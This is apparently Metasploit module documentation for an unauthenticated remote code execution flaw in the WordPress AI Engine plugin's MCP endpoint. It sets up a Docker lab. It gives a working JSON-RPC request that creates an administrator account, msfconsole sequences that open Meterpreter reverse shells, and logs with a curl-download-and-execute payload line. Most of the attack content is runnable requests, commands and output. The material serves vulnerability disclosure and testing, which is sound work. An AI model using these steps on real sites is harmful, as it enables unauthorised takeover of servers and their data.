## Vulnerable Application

This Metasploit module exploits an unauthenticated remote code execution vulnerability in the WordPress AI Engine plugin
(versions <= 3.1.3) (CVE-2025-11749). The vulnerability allows unauthenticated attackers to create administrator accounts
and achieve remote code execution by exploiting the MCP (Model Context Protocol) functionality when `mcp_noauth_url` is enabled.

## Vulnerability Analysis

The plugin registers REST API routes under `/wp-json/mcp/v1/{token}/sse` where `{token}` is a bearer token. When `mcp_noauth_url`
is enabled, these endpoints accept requests without verifying the `Authorization` header, allowing unauthenticated access
to WordPress core functions.

The attacker can enumerate the token by querying `/wp-json/mcp/v1/` or `/?rest_route=/mcp/v1/` (both methods work).
The token is exposed in route paths like `/mcp/v1/{TOKEN}/sse`. Once discovered, JSON-RPC requests can be sent to call
`wp_create_user` via either endpoint:

```http
POST /wp-json/mcp/v1/{TOKEN}/sse HTTP/1.1
Content-Type: application/json

{
  "jsonrpc": "2.0",
  "method": "tools/call",
  "params": {
    "name": "wp_create_user",
    "arguments": {
      "user_login": "attacker",
      "role": "administrator"
    }
  }
}
```

The same request works via both endpoints:
- `/wp-json/mcp/v1/{TOKEN}/sse` (preferred)
- `/?rest_route=/mcp/v1/{TOKEN}/sse` (fallback when permalinks are not configured)

Once an administrator account is created, the attacker uploads a malicious plugin for code execution.

**Affected versions**: <= 3.1.3 (Fixed in 3.1.4)
**Prerequisites**: `module_mcp`, `mcp_core`, and `mcp_noauth_url` must be enabled

## Docker Compose Configuration

```yaml
services:
  wordpress:
    image: wordpress:6.3.2
    container_name: wp-ai-engine-lab
    restart: always
    ports:
      - 5555:80
    environment:
      WORDPRESS_DB_HOST: mysql
      WORDPRESS_DB_USER: chocapikk
      WORDPRESS_DB_PASSWORD: dummy_password
      WORDPRESS_DB_NAME: exploit_market
    volumes:
      - wordpress:/var/www/html
      - ./custom.ini:/usr/local/etc/php/conf.d/custom.ini
    depends_on:
      - mysql

  mysql:
    image: mysql:5.7
    container_name: wp-ai-engine-db
    restart: always
    environment:
      MYSQL_DATABASE: exploit_market
      MYSQL_USER: chocapikk
      MYSQL_PASSWORD: dummy_password
      MYSQL_RANDOM_ROOT_PASSWORD: '1'
    volumes:
      - db:/var/lib/mysql

volumes:
  wordpress:
  db:
```

Create `custom.ini`:

```ini
upload_max_filesize = 64M
post_max_size = 64M
```

## Setup Instructions

```bash
docker compose up -d
sleep 5
docker exec wp-ai-engine-lab bash -c "curl -O https://raw.githubusercontent.com/wp-cli/builds/gh-pages/phar/wp-cli.phar && chmod +x wp-cli.phar && mv wp-cli.phar /usr/local/bin/wp"
docker exec wp-ai-engine-lab wp core install --path='/var/www/html' --url='http://localhost:5555' --title='Exploit Market' --admin_user='admin' --admin_password='admin' --admin_email='admin@example.com' --allow-root
docker exec wp-ai-engine-lab wp rewrite structure '/%postname%/' --path='/var/www/html' --allow-root
docker exec wp-ai-engine-lab wp rewrite flush --path='/var/www/html' --allow-root
docker exec wp-ai-engine-lab wp config set FS_METHOD direct --path='/var/www/html' --allow-root
docker exec wp-ai-engine-lab chown -R www-data:www-data /var/www/html/wp-content
docker exec -u www-data wp-ai-engine-lab wp plugin install ai-engine --version=3.1.3 --path='/var/www/html' --activate --force
BEARER_TOKEN=$(openssl rand -base64 32 | tr -d "=+/" | cut -c1-43)
docker exec -u www-data wp-ai-engine-lab wp option update mwai_options --format=json --path='/var/www/html' "{\"module_mcp\":true,\"mcp_core\":true,\"mcp_bearer_token\":\"${BEARER_TOKEN}\",\"mcp_noauth_url\":true}"
echo "Bearer Token: ${BEARER_TOKEN}"
```

## Verification Steps

1. Start the environment and complete setup
2. Launch `msfconsole` and load the module: `use exploit/multi/http/wp_ai_engine_mcp_rce`
3. Set `RHOSTS` to target IP (use Docker gateway IP for `LHOST`)
4. Run the exploit: `run`

## Options

* **TARGETURI**: The base path to WordPress (default: `/`)
* **TARGET**: Target type - `0` for PHP payload, `1` for Unix command payload (default: `0`)

## Scenarios

### PHP Payload

```bash
use exploit/multi/http/wp_ai_engine_mcp_rce
set RHOSTS 127.0.0.1
set RPORT 5555
set TARGET 0
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 172.25.0.1
set LPORT 4444
run
```

**Expected Results:**

```plaintext
[*] Started reverse TCP handler on 172.25.0.1:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking /wp-content/plugins/ai-engine/readme.txt
[*] Found version 3.1.3 in the plugin
[+] The target appears to be vulnerable.
[*] Acquired a plugin upload nonce: 3495f17050
[*] Uploaded plugin wp_knzvu
[*] Sending stage (41224 bytes) to 172.25.0.3
[+] Deleted ajax_rmteg.php
[+] Deleted wp_knzvu.php
[+] Deleted ../wp_knzvu
[*] Meterpreter session 1 opened (172.25.0.1:4444 -> 172.25.0.3:47914) at 2025-11-23 03:51:28 +0100

meterpreter > sysinfo
Computer        : e1450d69c5ef
OS              : Linux e1450d69c5ef 6.14.0-115036-tuxedo #36~24.04.1tux1 SMP PREEMPT_DYNAMIC Mon Nov  3 17:34:07 UTC 2025 x86_64
Architecture    : x64
System Language : C
Meterpreter     : php/linux
```

### Linux Meterpreter Payload

```bash
use exploit/multi/http/wp_ai_engine_mcp_rce
set RHOSTS 127.0.0.1
set RPORT 5555
set TARGET 1
set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp
set LHOST 172.25.0.1
set LPORT 4445
run
```

**Expected Results:**

```plaintext
[*] Command to run on remote host: curl -so ./CwnRPcETYowu http://172.25.0.1:8080/YlsHR8ggI6Bd69-fK5zqBQ;chmod +x ./CwnRPcETYowu;./CwnRPcETYowu&
[*] Fetch handler listening on 172.25.0.1:8080
[*] HTTP server started
[*] Adding resource /YlsHR8ggI6Bd69-fK5zqBQ
[*] Started reverse TCP handler on 172.25.0.1:4445 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking /wp-content/plugins/ai-engine/readme.txt
[*] Found version 3.1.3 in the plugin
[+] The target appears to be vulnerable.
[*] Acquired a plugin upload nonce: 89faa6adb3
[*] Uploaded plugin wp_w6mpy
[*] Client 172.25.0.3 requested /YlsHR8ggI6Bd69-fK5zqBQ
[*] Sending payload to 172.25.0.3 (curl/7.74.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 172.25.0.3
[+] Deleted ajax_plv9z.php
[+] Deleted wp_w6mpy.php
[+] Deleted ../wp_w6mpy
[*] Meterpreter session 2 opened (172.25.0.1:4445 -> 172.25.0.3:59294) at 2025-11-23 03:53:03 +0100

meterpreter > sysinfo
Computer     : 172.25.0.3
OS           : Debian 11.8 (Linux 6.14.0-115036-tuxedo)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
```
